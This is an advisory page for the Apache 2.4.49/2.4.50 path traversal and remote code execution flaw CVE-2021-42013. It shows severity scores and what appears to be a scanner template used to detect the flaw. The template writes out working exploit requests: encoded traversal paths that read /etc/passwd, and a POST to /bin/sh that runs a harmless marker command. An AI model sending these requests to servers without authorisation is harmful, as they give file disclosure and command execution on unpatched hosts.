9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.3 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
id: "CVE-2021-42013"
info:
name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
author: nvn1729,0xd0ff9,666asd
severity: critical
description: |
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code and gain unauthorized access to sensitive information.
remediation: Upgrade to Apache HTTP Server 2.4.51 or later.
reference:
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d
- https://nvd.nist.gov/vuln/detail/CVE-2021-42013
- https://twitter.com/itsecurityco/status/1446136957117943815
- http://jvn.jp/en/jp/JVN51106450/index.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: "CVE-2021-42013"
cwe-id: CWE-22
epss-score: 0.97287
epss-percentile: 0.99841
cpe: cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: apache
product: http_server
tags: cve2021,cve,lfi,apache,rce,misconfig,traversal,kev
variables:
cmd: "echo COP-37714-1202-EVC | rev"
http:
- raw:
- |+
GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |+
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |+
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
echo Content-Type: text/plain; echo; {{cmd}}
stop-at-first-match: true
unsafe: true
matchers-condition: or
matchers:
- type: word
name: RCE
words:
- "CVE-2021-42013"
- type: regex
name: LFI
regex:
- "root:.*:0:0:"
# digest: 4a0a0047304502210090df2d0b0784bca0957316b00eda4a86eff7538dafa59481ce77ae33976454a0022052bca4f8bcc25e748dd8ed529bba9efc648ebfa54c19b8177f9c0c4fc2da6858:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.3 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%